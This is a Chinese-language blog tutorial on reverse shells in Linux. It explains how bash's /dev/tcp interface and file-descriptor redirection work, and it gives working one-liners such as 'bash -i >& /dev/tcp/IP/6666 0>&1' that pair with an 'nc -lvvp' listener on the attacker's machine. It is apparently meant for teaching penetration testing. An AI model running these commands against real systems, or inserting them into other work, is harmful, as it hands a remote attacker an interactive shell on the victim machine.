本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、什么是反弹shell
被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等 问题导致被控端不能正常接收发送过来的数据包。
- 被控端
bash -i >& /dev/tcp/192.168.81.154/6666 0>&1
==ip为黑客的ip==
- 控制端
nc -lvvp 6666
//-lvp -lnvp都可以
- 参数解释
bash -i
打开一个交互式的bash shell。即一个终端
/dev/tcp/IP/port
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。
打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/tcp/192.168.81.154/6666
和192.168.81.154的6666端口建立TCP连接


- 通过socket连接通信
- 向 /dev/tcp/IP/PORT 写入内容
//控制端
nc -lvvp 6666
//被控端
echo hello > /dev/tcp/192.168.81.154/6666

- 从 /dev/tcp/IP/PORT 读取内容
nc -lvvp 6666
cat < /dev/tcp/192.168.81.154/6666

二、实现交互式shell
实现控制端和被控端之间的交互
1. 把被控端的交互式shell 输出重定向到控制端
bash -i > /dev/tcp/10.10.1.11/6666

1 标准输出到控制端,而0 标准输入到被控端

被控端输入指令

控制端输出指令结果
2.把控制端的输入重定向到被控端的交互式shell
# 控制端
nc -lvvp 6666
# 被控端
bash -i < /dev/tcp/192.168.81.154/6666


实现了将控制端的输入重定向到被控端,但是控制端看不到命令执行结果。
3. 结合两条语句,实现交互式命令行
bash -i > /dev/tcp/192.168.81.154/6666 0>&1
由 /dev/tcp/192.168.81.154/6666传递的数据作为交互式shell的输入,命令执行后的结果输出 到/dev/tcp/192.168.81.154/6666。
解释:bash -i > /dev/tcp/192.168.81.154/6666
把1弹给黑客,
0>&1
把0弹给1

4. bash 反弹shell
bash -i &> /dev/tcp/10.10.1.11/6666 0>&1
bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
&、&>:混合输出(正确、错误的输出都输出到一个地方),将标准输出、错误输出全都重定向到/dev/tcp/HOST/PORT,即控制端
0>&1:将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到 /dev/tcp/HOST/PORT,即控制端
